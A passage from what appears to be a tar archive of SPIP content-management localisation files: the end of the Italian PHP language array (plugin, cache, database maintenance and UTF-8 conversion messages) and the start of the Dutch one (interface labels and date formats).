'plugin_charge_paquet' => 'Caricamento del pacchetto @name@',
'plugin_charger' => 'Download',
'plugin_erreur_charger' => 'errore: impossibile caricare @zip@',
'plugin_erreur_droit1' => 'La directory <code>@dest@</code> non ha i permessi di scrittura.',
'plugin_erreur_droit2' => 'Verificare i diritti su questa directory (se necessario crearla), o installare i file tramite FTP.',
'plugin_erreur_zip' => 'fallimento pclzip: errore @status@',
'plugin_etat_developpement' => 'in corso di sviluppo',
'plugin_etat_experimental' => 'sperimentale',
'plugin_etat_stable' => 'stabile',
'plugin_etat_test' => 'in prova',
'plugin_impossible_activer' => 'Impossibile attivare l’estensione @plugin@',
'plugin_info_automatique1' => 'Se si desidera autorizzare l’installazione automatica dell’estensione è necessario: ',
'plugin_info_automatique1_lib' => 'Se vuoi autorizzare l’installazione automatica di questa libreria:',
'plugin_info_automatique2' => 'creare una directory <code>@rep@</code>;',
'plugin_info_automatique3' => 'verificare che il server sia autorizzato a scrivere in questa directory.',
'plugin_info_automatique_creer' => 'da creare alla radice del sito.',
'plugin_info_automatique_exemples' => 'esempi:',
'plugin_info_automatique_ftp' => 'È possibile installare plug-in tramite FTP, nella cartella <tt>@rep@</tt>',
'plugin_info_automatique_lib' => 'Alcune estensioni richiedono anche di poter trasferire dei file nella cartella <code>lib/</code>, da creare (se necessario) alla radice del sito.',
'plugin_info_automatique_liste' => 'Gli elenchi delle estensioni:',
'plugin_info_automatique_liste_officielle' => 'le estensioni ufficiali',
'plugin_info_automatique_liste_update' => 'Aggiornare gli elenchi',
'plugin_info_automatique_ou' => 'oppure...',
'plugin_info_automatique_select' => 'Selezionata un’estensione qui sotto: SPIP la scaricherà e la installerà nella cartella <code>@rep@</code>; se questo estensione è già presente verrà aggiornata.',
'plugin_info_credit' => 'Crediti',
'plugin_info_erreur_xml' => 'La dichiarazione del plugin è sbagliata',
'plugin_info_install_ok' => 'Installazione completata con successo',
'plugin_info_necessite' => 'Richiesto :',
'plugin_info_non_compatible_spip' => 'Questo plugin è incompatibile con questa versione di SPIP',
'plugin_info_plugins_dist_1' => 'Le estensioni sottostanti sono caricate e attivate nella directory @plugins_dist@.',
'plugin_info_plugins_dist_2' => 'Questi non possono essere disabilitati.',
'plugin_info_telecharger' => 'da scaricare da @url@ e da installare in @rep@',
'plugin_info_upgrade_ok' => 'Aggiornamento avvenuto',
'plugin_librairies_installees' => 'Librerie installate',
'plugin_necessite_lib' => 'Questa estensione richiede la libreria @lib@',
'plugin_necessite_plugin' => 'Necessita l’estensione @plugin@ con almeno la versione @version@.',
'plugin_necessite_plugin_sans_version' => 'Necessita del plugin @plugin@',
'plugin_necessite_spip' => 'Necessita SPIP con almeno la versione @version@.',
'plugin_source' => 'origine: ',
'plugin_titre_automatique' => 'Installazione automatica',
'plugin_titre_automatique_ajouter' => 'Aggiungere dei plugin',
'plugin_titre_installation' => 'Installazione del plugin @plugin@',
'plugin_titre_modifier' => 'I miei plugin',
'plugin_zip_active' => 'Continuare per attivarlo',
'plugin_zip_adresse' => 'indicate qui sotto l’indirizzo di un file zip del plug-in da scaricare, oppure l’indirizzo di un elenco di plug-in.',
'plugin_zip_adresse_champ' => 'Indirizzo del plug-in o dell’elenco ',
'plugin_zip_content' => 'Esso contiene i file seguenti (@taille@),<br />pronti per essere installati nella cartella <code>@rep@</code>',
'plugin_zip_installe_finie' => 'Il file @zip@ è stato decompresso e installato.',
'plugin_zip_installe_rep_finie' => 'Il file @zip@ è stato decompresso e installato nella cartella @rep@',
'plugin_zip_installer' => 'Ora è possibile installarlo.',
'plugin_zip_telecharge' => 'Il file @zip@ è stato scaricato',
'plugins_actif_aucun' => 'Nessun plugin attivo',
'plugins_actif_un' => 'Un plugin attivo',
'plugins_actifs' => '@count@ plug-in attivati.',
'plugins_actifs_liste' => 'Attivo',
'plugins_compte' => '@count@ plug-in',
'plugins_disponible_un' => 'Un plugin disponibile',
'plugins_disponibles' => '@count@ plug-in disponibili.',
'plugins_erreur' => 'Errore nei plug-in: @plugins@',
'plugins_liste' => 'Elenco dei plugin',
'plugins_liste_dist' => 'Plugin bloccato',
'plugins_recents' => 'Plugin aggiunti recentemente',
'plugins_tous_liste' => 'Tutto',
'plugins_vue_hierarchie' => 'Struttura gerarchica',
'plugins_vue_liste' => 'Elenco',
'protocole_ldap' => 'Versione del protocollo:',
// Q
'queue_executer_maintenant' => 'Esegui adesso',
'queue_info_purger' => 'È possibile eliminare tutti i lavori in sospeso e reinizializzare lista con delle elaborazioni periodiche',
'queue_nb_jobs_in_queue' => '@nb@ processi in coda',
'queue_next_job_in_nb_sec' => 'Prossimo processo in @nb@ s',
'queue_no_job_in_queue' => 'Nessun processo appeso',
'queue_one_job_in_queue' => '1 processo in coda',
'queue_purger_queue' => 'Pulisci la coda dei processi',
'queue_titre' => 'Lista dei processi',
// R
'repertoire_plugins' => 'Cartella:',
// S
'sans_heure' => 'ora mancante',
'statut_admin_restreint' => 'ammin. parziale',
'statut_webmestre' => 'webmaster',
// T
'tache_cron_asap' => 'Task CRON @function@ (ASAP)',
'tache_cron_secondes' => 'Task CRON @function@ (ogni @nb@ s)',
'taille_cache_image' => 'Le immagini elaborate automaticamente da SPIP (icone dei documenti, titoli in formato grafico, funzioni matematiche in formato TeX...) occupano nella cartella @dir@ in tutto @taille@.',
'taille_cache_infinie' => 'Questo sito non prevede limiti alle dimensioni della cartella della cache.',
'taille_cache_maxi' => 'SPIP tenta di limitare le dimensioni della cartella della cache di questo sito a circa <b>@octets@</b> di dati.',
'taille_cache_moins_de' => 'La dimensione della cache è inferiore a @octets@.',
'taille_cache_octets' => 'La cartella della cache occupa attualmente @octets@ su disco.',
'taille_cache_vide' => 'La cache è vuota.',
'taille_repertoire_cache' => 'Dimensioni della cartella di cache',
'text_article_propose_publication' => 'Articolo proposto per la pubblicazione. ',
'texte_acces_ldap_anonyme_1' => 'Alcuni server LDAP non consentono accessi anonimi. In questo caso si deve specificare un identificatore d’accesso iniziale al fine di poter poi ricercare delle informazioni nell’elenco. Nella maggior parte dei casi tuttavia, i campi seguenti potranno essere lasciati vuoti.',
'texte_admin_effacer_01' => 'Questo commando cancella <i>tutto</i> il contenuto del database,
compresi <i>tutti</i> i login dei redattori e degli amministratori. Dopo averlo eseguito, dovrai riavviare la procedura di installazione per ricreare un nuovo database e un primo ID amministrativo.',
'texte_adresse_annuaire_1' => '(Se la rubrica è installata nella stessa macchina di questo sito, dovrai probabilmente inserire "localhost".)',
'texte_ajout_auteur' => 'Il seguente autore è stato aggiunto all’articolo:',
'texte_annuaire_ldap_1' => 'Se hai accesso ad una rubrica (LDAP), puoi utilizzarla per importare automaticamente degli utenti sotto SPIP.',
'texte_article_statut' => 'Questo articolo è:',
'texte_article_virtuel' => 'Articolo virtuale',
'texte_article_virtuel_reference' => '<b>Articolo virtuale:</b> articolo citato nel tuo sito SPIP, ma reindrizzato verso un’altro URL. Per eliminare il reindirizzamento, cancella l’URL qui sopra.',
'texte_aucun_resultat_auteur' => 'Nessun risultato per "@cherche_auteur@"',
'texte_auteur_messagerie' => 'Questo sito può costantemente visualizzare la lista dei redattori collegati, permettendo lo scambio di messaggi in tempo reale. Si può però decidere di non comparire in questo elenco (rendendosi quindi «invisibili» agli altri utenti).',
'texte_auteur_messagerie_1' => 'Questo sito permette lo scambio di messaggi e la costituzione di forum di discussione privati tra i partecipanti al sito. Puoi però decidere di non partecipare a questi scambi.',
'texte_auteurs' => 'GLI AUTORI',
'texte_choix_base_1' => 'Scegli il database:',
'texte_choix_base_2' => 'Il server SQL contiene diversi database.',
'texte_choix_base_3' => '<b>Seleziona</b> quello che è stato attribuito al tuo dominio:',
'texte_choix_table_prefix' => 'Prefisso delle tabelle:',
'texte_commande_vider_tables_indexation' => 'Utilizza questo comando per svuotare le tabelle d’incidizzazione utilizzate
dal motore di ricerca integrato di SPIP. Ciò permetterà
di guadagnare spazio sul disco.',
'texte_compatibilite_html' => 'Puoi impostare SPIP per produrre, sul sito pubblico, codice compatibile con lo schema <i>HTML4</i>, o consentire di utilizzare le più moderne funzionalità di <i>HTML5</i>.',
'texte_compatibilite_html_attention' => 'Non c’è nessun rischio di attivare l’opzione <i>HTML5</i>, ma se lo fai, le pagine del tuo sito dovranno cominciare con la seguente dichiarazione per essere valide: <code><!DOCTYPE html></code>.',
'texte_compresse_ou_non' => '(può essere compresso o meno)',
'texte_compte_element' => '@count@ elemento',
'texte_compte_elements' => '@count@ elementi',
'texte_conflit_edition_correction' => 'Controllare qui sotto le differenze tra le due versioni del testo; è possibile anche copiare le modifiche e poi ricominciare.',
'texte_connexion_mysql' => 'Consulta le informazioni fornite dal tuo hoster: devi poterci trovare i codici di collegamento alla base di dati.',
'texte_contenu_article' => 'Contenuto dell’articolo in poche parole (<em>abstract</em>)',
'texte_contenu_articles' => 'A seconda del modello di presentazione adottato per il sito, puoi decidere
che alcuni elementi degli articoli siano utilizzati oppure no.
Serviti dell’elenco qui sotto per indicare quali elementi rendere disponibili.',
'texte_crash_base' => 'Se il database è stato danneggiato, puoi tentare un ripristino automatico.',
'texte_creer_rubrique' => 'Prima di poter scrivere degli articoli,<br /> devi creare una rubrica.',
'texte_date_creation_article' => 'DATA DI CREAZIONE DELL’ARTICOLO:',
'texte_date_creation_objet' => 'Data di creazione :', # on ajoute le ":"
'texte_date_publication_anterieure' => 'DATA DI REDAZIONE ANTERIORE',
'texte_date_publication_anterieure_nonaffichee' => 'Non visualizzare la data di redazione anteriore.',
'texte_date_publication_article' => 'DATA DI PUBBLICAZIONE:',
'texte_date_publication_objet' => 'Pubblicato il :',
'texte_descriptif_petition' => 'Descrizione della petizione',
'texte_descriptif_rapide' => 'Descrizione rapida',
'texte_effacer_base' => 'Cancella il database SPIP',
'texte_effacer_donnees_indexation' => 'Cancella i dati d’indicizzazione',
'texte_effacer_statistiques' => 'Cancellare le statistiche',
'texte_en_cours_validation' => 'Gli articoli e le brevi elencati qui sotto sono stati proposti per la pubblicazione. ',
'texte_enrichir_mise_a_jour' => 'Puoi arricchire la formattazione del testo utilizzando le «scorciatoie tipografiche»',
'texte_fichier_authent' => '<b>SPIP deve creare i file speciali <tt>.htpasswd</tt>
e <tt>.htpasswd-admin</tt> nella cartella @dossier@?</b><p>
Questi file possono servire a limitare l’accesso agli autori
e agli amministratori in particolari aree del sito
(per esempio, per un programma esterno di statistiche).</p><p>
Se ciò non è necessario, lasciare quest’opzione
al suo valore predefinito (nessuna creazione
di file).</p>', # MODIF
'texte_informations_personnelles_1' => 'Il sistema creerà un tuo accesso personalizzato al sito.',
'texte_informations_personnelles_2' => '(Nota: se si tratta di una reinstallazione, e il tuo accesso funziona ancora, puoi ',
'texte_introductif_article' => 'Testo introduttivo dell’articolo',
'texte_jeu_caractere' => 'Si consiglia di utilizzare sul proprio sito l’alfabeto universale (<tt>utf-8</tt>): esso permette di visualizzare i testi in tutte le lingue e non pone problemi di compatibilità con i browser moderni.',
'texte_jeu_caractere_2' => 'Attenzione: questa impostazione non causa la conversione dei testi già registrati nel database.',
'texte_jeu_caractere_3' => 'Il tuo sito usa attualmente il set di caratteri:',
'texte_jeu_caractere_4' => 'Se ciò non corrisponde alla realtà dei propri dati (a causa, per esempio, di un ripristino del database), o se <em>si avvia il sito</em> e si desidera partire con un altro set di caratteri è necessario indicare quest’ultimo qui:',
'texte_jeu_caractere_conversion' => 'Nota: è possibile decidere di convertire una volta per tutte tutti i testi del sito (articoli, brevi, forum, ecc.) nell’alfabeto <tt>utf-8</tt>, andando sulla <a href="@url@">pagina di conversione in utf-8</a>.',
'texte_lien_hypertexte' => '(Se il tuo messaggio si riferisce ad un articolo pubblicato sul Web, o ad una pagina che fornisce informazioni supplementari, indica il titolo della pagina e il suo indirizzo URL.)',
'texte_login_ldap_1' => '(Lascia vuoto per un accesso anonimo, o inserisci il percorso completo, per esempio «<tt>uid=rossi, ou=users, dc=mio-dominio, dc=com</tt> ».)',
'texte_login_precaution' => 'Attenzione! Questo è l’ID con il quale sei attualmente collegato.
Utilizza questo modulo con cognizione di causa...',
'texte_message_edit' => 'Attenzione: questo messaggio può essere modificato da tutti gli amministratori del sito, ed è visibile da tutti i redattori. Utilizza gli annunci solo per esporre degli eventi importanti per la vita del sito.',
'texte_messagerie_agenda' => 'La messageria permette ai redattori del sito di comunicare tra loro in maniera diretta nell’area riservata. Essa è associata a una agenda.',
'texte_mise_a_niveau_base_1' => 'Hai aggiornato i file SPIP.
Adesso è necessario aggiornare il database.',
'texte_modifier_article' => 'Modifica l’articolo:',
'texte_moteur_recherche_active' => '<b>Il motore di ricerca è attivato.</b> Utilizza questo commando
se vuoi procedere a una reindicizzazione rapida (dopo il ripristino
di un salvataggio, per esempio). Nota bene: i documenti modificati in modo standard (con l’interfaccia di SPIP) sono automaticamente
reindicizzati. Questo commando, quindi, è utile solo in casi eccezionali.',
'texte_moteur_recherche_non_active' => 'Il motore di ricerca non è attivato.',
'texte_multilinguisme' => 'Se desideri gestire gli articoli in diverse lingue, con un sistema di navigazione complesso, è possibile aggiungere un menu di selezione della lingua in funzione della struttura del sito.',
'texte_multilinguisme_trad' => 'È anche possibile attivare un sistema di gestione dei link fra le diverse traduzioni di un certo oggetto.',
'texte_non_compresse' => '<i>non compresso</i> (il tuo server non supporta questa funzionalità)',
'texte_nouveau_message' => 'Nuovo messaggio',
'texte_nouvelle_version_spip_1' => 'Hai installato una nuova versione di SPIP.',
'texte_nouvelle_version_spip_2' => 'Questa nuova versione necessita un aggiornamento più radicale del solito. Se sei il webmaster del sito, cancella il file @connect@ e riprendi l’installazione al fine di aggiornare i parametri di connessione al database.<p> (NB: se hai dimenticato i parametri di connessione, rileggi il file @connect@ prima di cancellarlo!)</p>',
'texte_operation_echec' => 'Torna alla pagina precedente, seleziona un altro database o creane uno nuovo. Verifica le informazioni fornite dal tuo hoster.',
'texte_plus_trois_car' => 'più di tre caratteri',
'texte_plusieurs_articles' => 'Diversi autori trovati per "@cherche_auteur@":',
'texte_port_annuaire' => '(Il valore predefinito è in genere quello adatto.)',
'texte_presente_plugin' => 'Questa pagina elenca i plugin disponibili sul sito. È possibile attivare i plugin necessari selezionando la casella corrispondente.',
'texte_proposer_publication' => 'Quando l’articolo è completo,<br /> puoi proporne la pubblicazione.',
'texte_proxy' => 'In alcuni casi (intranet, reti protette...), i siti distanti (documetazione di SPIP, siti in syndication, ecc.) sono accessibili unicamente attraverso un <i>proxy HTTP</i>. In questo caso, va indicato l’indirizzo del server nella forma @proxy_en_cours@. In genere questa casella va lasciata vuota.',
'texte_publication_articles_post_dates' => 'Come si deve comportare SPIP quando gli articoli hanno
una data di pubblicazione impostata nel futuro?',
'texte_rappel_selection_champs' => '[Non dimenticare di impostare correttamente questo campo]',
'texte_recalcul_page' => 'Se vuoi rigenerare
una sola pagina, utilizza piuttosto lo spazio pubblico e clicca sul pulsante «rigenera».',
'texte_recapitiule_liste_documents' => 'Questa pagina mostra l’elenco dei documenti allegati alle rubriche. Per modificare le informazioni di un documento, seguire il link verso la relativa pagina di rubrica.',
'texte_recuperer_base' => 'Ripara il database',
'texte_reference_mais_redirige' => 'articolo catalogato nel tuo sito SPIP, ma con reindirizzamento verso un altro URL.',
'texte_requetes_echouent' => '<b>Quando alcune query SQL falliscono
ripetutamente e senza un chiaro motivo, è possibile
che sia per colpa del database stesso.</b><p>
Il server SQL dispone di una funzione di ripristino delle tabelle
danneggiate inavvertitamente. È possibile tentare il ripristino;
in caso di errore, conservare una copia del messaggio visualizzato che potrebbe contenere
delle informazioni utili per identificare il problema.</p><p>
Se il problema persiste, contattare il proprio fornitore di hosting.</p>',
'texte_selection_langue_principale' => 'Puoi selezionare qui sotto la «lingua predefinita» del sito. Questa scelta non obbliga - fortunatamente! - a scrivere gli articoli nella stessa lingua, ma permette di determinare:
<ul><li> il formato di default delle date sul sito pubblico;</li>
<li> la tipologia di motore tipografico che SPIP deve utilizzare per la resa del testo;</li>
<li> la lingua utilizzata nelle finestre di dialogo del sito pubblico;</li>
<li> la lingua di default nell’area riservata all’amministrazione.</li></ul>',
'texte_sous_titre' => 'Sottotitolo',
'texte_statistiques_visites' => '(barre scure: domenica / curve scure: evoluzione della media)',
'texte_statut_attente_validation' => 'in attesa di convalida',
'texte_statut_publies' => 'pubblicato on line',
'texte_statut_refuses' => 'rifiutati',
'texte_suppression_fichiers' => 'Utilizza questo commando per cancellare tutti i file presenti nella
cache di SPIP. Ciò permette ad esempio di forzare la rigenerazione di tutte le pagine se hai fatto delle importanti modifiche di grafica o di struttura del sito.',
'texte_sur_titre' => 'Occhiello',
'texte_table_ok' => ': questa tabella è OK.',
'texte_tables_indexation_vides' => 'Le tabelle d’indicizzazione del motore sono vuote.',
'texte_tentative_recuperation' => 'Tentativo di ripristino',
'texte_tenter_reparation' => 'Tenta un ripristino del database',
'texte_test_proxy' => 'Per fare una prova di questo proxy, indicare qui l’indirizzo
di un sito Web da testare.',
'texte_titre_02' => 'Titolo:',
'texte_titre_obligatoire' => '<b>Titolo</b> [Obbligatorio]',
'texte_travail_article' => '@nom_auteur_modif@ ha lavorato su questo articolo @date_diff@ minuti fa',
'texte_travail_collaboratif' => 'Se diversi autori lavorano spesso sullo stesso articolo,
il sistema può segnalare gli articoli «aperti»
di recente al fine di evitare modifiche simultanee.
Questa opzione è disattivata di default
per evitare di generare messaggi d’avvertimento intempestivi.',
'texte_trop_resultats_auteurs' => 'Troppi risultati per "@cherche_auteur@"; restringi la ricerca.',
'texte_unpack' => 'scarica l’ultima versione',
'texte_utilisation_moteur_syndiques' => 'Quando utilizzi il motore di ricerca integrato di SPIP,
puoi effettuare le ricerche sui siti e
gli articoli in syndication
in due modalità diverse. <br />- La più semplice
consiste nel ricercare solo nei titoli e nelle descrizioni degli articoli.<br />-
Un altro metodo, molto più potente, consente
a SPIP di cercare anche nel testo degli articoli in syndication.
Se inserisci un sito nel repertorio, SPIP effettuerà la ricerca anche nel testo del sito stesso.',
'texte_utilisation_moteur_syndiques_2' => 'Questo metodo obbliga SPIP a visitare
regolarmente i siti in repertorio;
in tal caso si può verificare un leggero rallentamento del tuo sito.',
'texte_vide' => 'vuoto',
'texte_vider_cache' => 'Svuota la cache',
'titre_admin_effacer' => 'Manutenzione tecnica',
'titre_admin_tech' => 'Manutenzione tecnica',
'titre_admin_vider' => 'Manutenzione tecnica',
'titre_ajouter_un_auteur' => 'Aggiungi un autore',
'titre_ajouter_un_mot' => 'Aggiungi una parola chiave',
'titre_ajouter_une_rubrique' => 'Aggiungi una rubrica',
'titre_cadre_afficher_article' => 'Visualizza gli articoli',
'titre_cadre_afficher_traductions' => 'Visualizzare lo stato delle traduzioni per le seguenti lingue:',
'titre_cadre_ajouter_auteur' => 'AGGIUNGI UN AUTORE: ',
'titre_cadre_interieur_rubrique' => 'All’interno della rubrica',
'titre_cadre_numero_auteur' => 'AUTORE NUMERO',
'titre_cadre_numero_objet' => '@objet@ NUMERO :',
'titre_cadre_signature_obligatoire' => '<b>Firma</b> [Obbligatoria]<br />',
'titre_config_contenu_notifications' => 'Notifiche',
'titre_config_contenu_prive' => 'Nell’area riservata',
'titre_config_contenu_public' => 'Sul sito pubblico',
'titre_config_fonctions' => 'Configurazione del sito',
'titre_config_langage' => 'Configura la lingua',
'titre_configuration' => 'Configurazione del sito',
'titre_configurer_preferences' => 'Configura le tue preferenze',
'titre_conflit_edition' => 'Conflitto all’atto dell’edizione',
'titre_connexion_ldap' => 'Opzioni: <b>La connessione LDAP</b>',
'titre_groupe_mots' => 'GRUPPO DI PAROLE CHIAVE:',
'titre_identite_site' => 'Identità del sito',
'titre_langue_article' => 'Lingua dell’articolo',
'titre_langue_rubrique' => 'Lingua della rubrica',
'titre_langue_trad_article' => 'LINGUA E TRADUZIONI DELL’ARTICOLO',
'titre_les_articles' => 'GLI ARTICOLI',
'titre_messagerie_agenda' => 'Messagistica e agenda',
'titre_naviguer_dans_le_site' => 'Navigare nel sito...',
'titre_nouvelle_rubrique' => 'Nuova rubrica',
'titre_numero_rubrique' => 'RUBRICA NUMERO:',
'titre_page_admin_effacer' => 'Manutenzione tecnica: svuota il database',
'titre_page_articles_edit' => 'Modifica: @titre@',
'titre_page_articles_page' => 'Gli articoli',
'titre_page_articles_tous' => 'Tutto il sito',
'titre_page_auteurs' => 'Visitatori',
'titre_page_calendrier' => 'Calendario @nom_mois@ @annee@',
'titre_page_config_contenu' => 'Configurazione del sito',
'titre_page_config_fonctions' => 'Configurazione del sito',
'titre_page_configuration' => 'Configurazione del sito',
'titre_page_controle_petition' => 'Monitoraggio delle petizioni',
'titre_page_delete_all' => 'eliminazione totale e irreversible',
'titre_page_documents_liste' => 'I documenti delle rubriche',
'titre_page_index' => 'Area riservata',
'titre_page_message_edit' => 'Scrivere un messaggio',
'titre_page_messagerie' => 'I tuoi messaggi',
'titre_page_recherche' => 'Risultati della ricerca @recherche@',
'titre_page_statistiques_referers' => 'Statistiche (link al tuo sito)',
'titre_page_statistiques_signatures_jour' => 'Numero di firme al giorno',
'titre_page_statistiques_signatures_mois' => 'Numero di firme al mese',
'titre_page_upgrade' => 'Aggiornamento di SPIP',
'titre_publication_articles_post_dates' => 'Pubblicazione di articoli postdatati',
'titre_referencer_site' => 'Inserire il sito in repertorio:',
'titre_rendez_vous' => 'APPUNTAMENTO:',
'titre_reparation' => 'Riparazione',
'titre_suivi_petition' => 'Monitoraggio delle petizioni',
'tls_ldap' => 'Transport Layer Security:',
'trad_article_inexistant' => 'Non esiste un articolo con questo numero.',
'trad_article_traduction' => 'Tutte le versioni di questo articolo:',
'trad_deja_traduit' => 'Errore: non è possibile collegare questo articolo al numero richiesto.',
'trad_delier' => 'Non collegare più questo articolo alle sue traduzioni',
'trad_lier' => 'Questo articolo è una traduzione dell’articolo numero:',
'trad_new' => 'Scrivere una nuova traduzione dell’articolo',
// U
'upload_info_mode_document' => 'Mettere questa immagine nel portfolio',
'upload_info_mode_image' => 'Eliminare questa immagine dal portfolio',
'utf8_convert_attendez' => 'Attendi qualche secondo e aggiorna la pagina.',
'utf8_convert_avertissement' => 'Stai per convertire il contenuto del proprio database (articoli, brevi, ecc.) dal set di caratteri <b>@orig@</b> al set di caratteri <b>@charset@</b>.',
'utf8_convert_backup' => 'Non dimenticare di fare prima un backup completo del sito. Inoltre si deve verificare che i modelli e i file lingua sono compatibili @charset@.',
'utf8_convert_erreur_deja' => 'Il tuo sito è già in @charset@, è inutile convertirlo...',
'utf8_convert_erreur_orig' => 'Errore: il set di caratteri @charset@ non è supportato.',
'utf8_convert_termine' => 'Finito!',
'utf8_convert_timeout' => '<b>Importante:</b> in caso di <i>timeout</i> del server, aggiorna la pagina fino a che non si ottiene il messaggio « finito ».',
'utf8_convert_verifier' => 'Ora è necessario svuotale la cache e verificare che non vi siano problemi sulle pagine pubbliche del sito. In caso di problemi gravi è stato effettuato un backup dei dati (in formato SQL) nella cartella @rep@.',
'utf8_convertir_votre_site' => 'Convertire il sito in UTF-8',
// V
'version' => 'Versione:'
);
?>
spip_nl.php 0000666 00000112155 15252547432 0006743 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=nl
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://www.spip.net/nl_',
'0_langue' => 'Nederlands [nl]',
'0_liste' => 'spip-nl@rezo.net',
'0_mainteneur' => 'spip-nl@teomech.ugent.be',
// A
'access_interface_graphique' => 'Terug naar de volledig grafische interface',
'access_mode_texte' => 'Vereenvoudigde tekst interface weergeven',
'admin_debug' => 'debug',
'admin_modifier_article' => 'Artikel wijzigen',
'admin_modifier_auteur' => 'Auteur wijzigen',
'admin_modifier_breve' => 'Bericht wijzigen',
'admin_modifier_mot' => 'Trefwoord wijzigen',
'admin_modifier_rubrique' => 'Rubriek wijzigen',
'admin_recalculer' => 'Pagina vernieuwen',
'afficher_calendrier' => 'Toon kalender',
'afficher_trad' => 'Vertalingen weergeven',
'alerte_maj_impossible' => '<b>Waarshuwing !</b> Het updaten van de SQL-gegevensbank naar versie @version@ is niet mogelijk. Misschien wegens een probleem van wijzigingsrecht op de gegevensbank. Gelieve contact op te nemen met je leverancier.',
'alerte_modif_info_concourante' => 'OPGELET : Deze informatie werd elders gewijzigd. De huidige waarde is :',
'analyse_xml' => 'XML Analyse',
'annuler' => 'Annuleren',
'antispam_champ_vide' => 'Gelieve dit veld leeg te laten :',
'articles_recents' => 'Meest recente artikels',
'avis_archive_incorrect' => 'Het bewaarde bestand is geen SPIP-bestand',
'avis_archive_invalide' => 'Het bewaarde bestand is niet bruikbaar',
'avis_attention' => 'OPGELET!',
'avis_champ_incorrect_type_objet' => 'Veldnaam @name@ is onjuist voor object van het type @type@',
'avis_colonne_inexistante' => 'De kolom @col@ bestaat niet',
'avis_erreur' => 'Fout : zie hieronder',
'avis_erreur_connexion' => 'Verbinding mislukt',
'avis_erreur_cookie' => 'Probleem met koekie',
'avis_erreur_fonction_contexte' => 'Programmafout. Deze functie kan niet worden opgeroepen in deze context.',
'avis_erreur_mysql' => 'SQL fout',
'avis_erreur_sauvegarde' => 'Backup fout (@type@ @id_objet@) !',
'avis_erreur_visiteur' => 'Probleem met toegang tot het private gedeelden.',
// B
'barre_a_accent_grave' => 'Hoofdletter A met accent grave toevoegen',
'barre_aide' => 'Gebruik de typografische snelkoppelingen voor de pagina-opmaak',
'barre_e_accent_aigu' => 'Hoofdletter E met accent aigu toevoegen',
'barre_eo' => 'O gekoppeld aan E (ligatuur) toevoegen',
'barre_eo_maj' => 'Hoofdletter O gekoppeld aan E (ligatuur) toevoegen',
'barre_euro' => '€ teken invoegen',
'barre_gras' => 'In het {{vet}} zetten',
'barre_guillemets' => 'Van « haakjes » voorzien',
'barre_guillemets_simples' => 'Van „haakjes van het tweede niveau“ voorzien',
'barre_intertitre' => 'Omzetten naar {{{tussentitel}}}',
'barre_italic' => '{cursief} zetten',
'barre_lien' => 'Omzetten naar [hypertekst verwijzing->http://...]',
'barre_lien_input' => 'Gelieve hier het adres van de koppeling op te geven. Je kan naar een webpagina verwijzen onder de vorm http://www.mijnsite.com ofwel het nummer van een artikel van deze site invullen.',
'barre_note' => 'Omzetten naar een [[Voetnoot]]',
'barre_paragraphe' => 'Een paragraaf toevoegen',
'barre_quote' => '<quote>een bericht citeren</quote>',
'bouton_changer' => 'Wijzigen',
'bouton_chercher' => 'Zoeken',
'bouton_choisir' => 'Selecteren',
'bouton_deplacer' => 'Verplaatsen',
'bouton_download' => 'Download',
'bouton_enregistrer' => 'Behouden',
'bouton_radio_desactiver_messagerie_interne' => 'Intern berichtensysteem desactiveren',
'bouton_radio_envoi_annonces' => 'Versturen van editoriale aankondigingen',
'bouton_radio_non_envoi_annonces' => 'Geen aankondigingen versturen',
'bouton_radio_non_envoi_liste_nouveautes' => 'De lijst met nieuwe bijdragen niet versturen',
'bouton_recharger_page' => 'pagina vernieuwen',
'bouton_telecharger' => 'Downloaden',
'bouton_upload' => 'Uploaden',
'bouton_valider' => 'Goedkeuren',
// C
'cal_apresmidi' => 'namiddag',
'cal_jour_entier' => 'hele dag',
'cal_matin' => 'voormiddag',
'cal_par_jour' => 'kalender per dag',
'cal_par_mois' => 'kalender per maand',
'cal_par_semaine' => 'kalender per week',
'choix_couleur_interface' => 'kleur',
'choix_interface' => 'keuze van de interface',
'colonne' => 'Kolom',
'confirm_changer_statut' => 'Opgelet. Je hebt gevraagd de status van dit element te wijzigen. Wil je verdergaan ?',
'correcte' => 'juist',
// D
'date_aujourdhui' => 'vandaag',
'date_avant_jc' => 'v.C.',
'date_dans' => 'in @delai@',
'date_de_mois_1' => '@j@ januari',
'date_de_mois_10' => '@j@ oktober',
'date_de_mois_11' => '@j@ november',
'date_de_mois_12' => '@j@ december',
'date_de_mois_2' => '@j@ februari',
'date_de_mois_3' => '@j@ maart',
'date_de_mois_4' => '@j@ april',
'date_de_mois_5' => '@j@ mei',
'date_de_mois_6' => '@j@ juni',
'date_de_mois_7' => '@j@ juli',
'date_de_mois_8' => '@j@ augustus',
'date_de_mois_9' => '@j@ september',
'date_demain' => 'morgen',
'date_fmt_heures_minutes' => '@h@h@m@min',
'date_fmt_heures_minutes_court' => '@h@h@m@',
'date_fmt_jour' => '@nomjour@ @jour@',
'date_fmt_jour_heure' => '@jour@ om @heure@',
'date_fmt_jour_heure_debut_fin' => 'op @jour@ vanaf @heure_debut@ tot @heure_fin@',
'date_fmt_jour_heure_debut_fin_abbr' => 'op @dtstart@@jour@ vanaf @heure_debut@@dtabbr@ tot @dtstart@@heure_fin@@dtend@',
'date_fmt_jour_mois' => '@jourmois@',
'date_fmt_jour_mois_annee' => '@jourmois@ @annee@',
'date_fmt_mois_annee' => '@nommois@ @annee@',
'date_fmt_nomjour' => '@nomjour@ @date@',
'date_fmt_nomjour_date' => '@nomjour@ @date@',
'date_fmt_periode' => 'Van @date_debut@ tot @date_fin@',
'date_fmt_periode_abbr' => 'Van @dtart@@date_debut@@dtabbr@ tot @dtend@@date_fin@@dtabbr@',
'date_fmt_periode_from' => 'Van',
'date_fmt_periode_to' => 'tot',
'date_heures' => 'uren',
'date_hier' => 'gisteren',
'date_il_y_a' => '@delai@ geleden',
'date_jnum1' => '1',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
